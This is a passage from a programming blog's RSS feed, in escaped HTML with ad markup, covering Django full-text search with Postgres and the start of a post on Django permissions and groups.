style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; F&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;, config&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;F(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;blog__language&amp;#39;&lt;/span&gt;)), &lt;span style=&#34;color:#78787e&#34;&gt;# config = &amp;#39;spanish&amp;#39; también valia&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Nier&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;choosing-the-right-language-for-you-vector-searches&#34;&gt;Choosing the right language for you vector searches&lt;/h3&gt;&#xA;&lt;p&gt;The default language for every search can be specified using the following query:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;show default_text_search_config;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;default_text_search_config&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pg_catalog.&amp;lt;language&amp;gt;&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;using-websearch_to_tsquery&#34;&gt;Using websearch_to_tsquery&lt;/h3&gt;&#xA;&lt;p&gt;There is an alternative version called &lt;em&gt;websearch_to_tsquery&lt;/em&gt; which is specialized in web searches and can create complex combinations like queries that use multiple &amp;lsquo;and&amp;rsquo; and &amp;lsquo;or&amp;rsquo; keywords.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SearchQuery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#39;&amp;lt;term&amp;gt;&amp;#39; (&amp;#39;&amp;lt;term&amp;gt;&amp;#39; OR &amp;#39;&amp;lt;term&amp;gt;&amp;#39;)&amp;#34;&lt;/span&gt;, search_type&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;websearch&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;repeating-the-calls-to_tsvector-is-inefficient&#34;&gt;Repeating the calls to_tsvector is inefficient&lt;/h2&gt;&#xA;&lt;p&gt;Did you notice that every time we perform a query using the Django ORM, the &lt;em&gt;to_tsvector&lt;/em&gt; function is executed on the field we specified?, but what if the field in our model contains a lot of information? &lt;strong&gt;The function is going to run with each search and return the same result over and over again&lt;/strong&gt;, multiply that by the number of rows, isn&amp;rsquo;t it a bit inefficient? Well, yes, and Django developers have already thought of that.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVectorField&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    search_vector &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchVectorField(blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This new field is like any other field, at the beginning it has nothing and we can put anything in it, although we probably want it to contain the vector of one of the fields of our model. But Django will not make it automatic, it is our responsibility to keep it updated with the content that suits us, either by overwriting the &lt;em&gt;save&lt;/em&gt; method, using &lt;em&gt;signals&lt;/em&gt;, periodic tasks, &lt;em&gt;celery&lt;/em&gt; or whatever approach you prefer.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;update(search_vector&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(search_vector&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;revenge&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you are interested to deepen more about how Postgres handles internally these functions, I found an excellent article on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.kaleidos.net/como-usar-busqueda-de-texto-en-postgresql/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;text search in postgresql SQL&lt;/a&gt;&#xA; where they explain in SQL code way search vectors work.&lt;/p&gt;&#xA;&lt;p&gt;Enter my next post where I will talk about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;advanced searches with Postgres and Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Django is a framework that abstracts most of the code you need to perform text searches in Postgres, so if you are thinking about a project that requires a search engine, using Django combined with Postgres is a combination to take into account another popular option to perform searches in Django is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/&#34;&gt;Solr and Django-haystack&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;If you are still hesitating about using Django, check my post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;the advantages and disadvantages of Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If you already know how basic searches work and want to move on to more complex searches with trigrams visit my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;trigrams and advanced searches with Django.&lt;/a&gt;&#xA; post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;full-text-search-sources&#34;&gt;Full text search sources&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/5.1/ref/contrib/postgres/search/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Sometimes when we type we make a mistake in a letter, we can repeat it, omit it or change it for another one. That mistake can lead to a series of different results in a web search, or even no results at all. Maybe for a blog it does not represent a threat, but for an ecommerce it can mean the loss of a sale, and for those stores with a huge traffic, a successful text search, either using full text search or something more complex, in Django or another framework, can represent the difference between losses or huge profits.&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>How do permissions and its groups work in Django?</title>
      <link>https://coffeebytes.dev/en/django/how-do-permissions-and-its-groups-work-in-django/</link>
      <pubDate>Sat, 17 Apr 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-do-permissions-and-its-groups-work-in-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;When I first learned that Django had a permissions system, many years ago, it seemed rather esoteric, not very useful and easy to replicate, how wrong I was back then. Then I realized that the built-in permissions system was a marvel and saved a lot of code, and was quite robust and tested by some of the largest companies in the world.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;If you have not yet decided to use Django and are investigating its features check out my post on the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of the Django web development framework&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, if you already have some practice with Django, you may want to deepen what you know with this free book, called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-definitive-guide-to-django/&#34;&gt;la guía definitiva de Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-create-permissions-in-django&#34;&gt;How to create permissions in Django?&lt;/h2&gt;&#xA;&lt;p&gt;Every time you create a model and run migrations &lt;strong&gt;4 permissions (add, edit, delete and view)&lt;/strong&gt; are automatically created in &lt;em&gt;django.contrib.auth&lt;/em&gt; for that object.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, the user model has a &lt;em&gt;ManyToMany&lt;/em&gt; relationship with the &lt;em&gt;Permissions&lt;/em&gt; model (which stores the above permissions) and the &lt;em&gt;Groups&lt;/em&gt; model. So we already have a relationship between users, groups and permissions that we can take advantage of.&lt;/p&gt;&#xA;&lt;p&gt;The permissions that Django creates come in the form of &lt;!-- raw HTML omitted --&gt;.&lt;!-- raw HTML omitted --&gt;_&lt;!-- raw HTML omitted --&gt; or app.action_model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_model &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;edit_model &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delete_model &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;view_model &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Eg:¿: &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# streaming.add_movie&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# store.edit_article&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# poll.delete_question&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# vapor.view_videogame&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;add-or-remove-permissions-to-a-user&#34;&gt;Add or remove permissions to a user&lt;/h2&gt;&#xA;&lt;p&gt;To add or remove permissions to a user we will make use of the methods provided by Django&lt;/p&gt;&#xA;&lt;p&gt;To add permissions one by one we pass them to the &lt;em&gt;add()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(permission1, permission2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;To remove permissions we pass the permission we want to remove to the &lt;em&gt;remove()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;remove(permission1, permission2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we want to set a list of permissions we simply match the &lt;em&gt;permissions&lt;/em&gt; attribute to the list we want it to have.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [permissions_list]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To remove all permissions for a user we use the &lt;em&gt;clear()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;clear()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;checking-permissions-for-a-user&#34;&gt;Checking permissions for a user&lt;/h2&gt;&#xA;&lt;p&gt;Once we have assigned permissions, we can limit the behavior of a user to the permissions he/she has. For example, Patreon only shows its content to users who periodically donate to a content creator and even within a single account there are different permissions depending on the amount of money you donate.&lt;/p&gt;&#xA;&lt;h3 id=&#34;check-what-permissions-a-user-has&#34;&gt;Check what permissions a user has&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;em&gt;get_all_permissions()&lt;/em&gt; method returns a list of all the permissions a user has.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_all_permissions()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;check-the-permissions-of-the-groups-a-user-belongs-to&#34;&gt;Check the permissions of the groups a user belongs to&lt;/h3&gt;&#xA;&lt;p&gt;This will return the permissions that a user obtains by the groups to which he/she belongs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 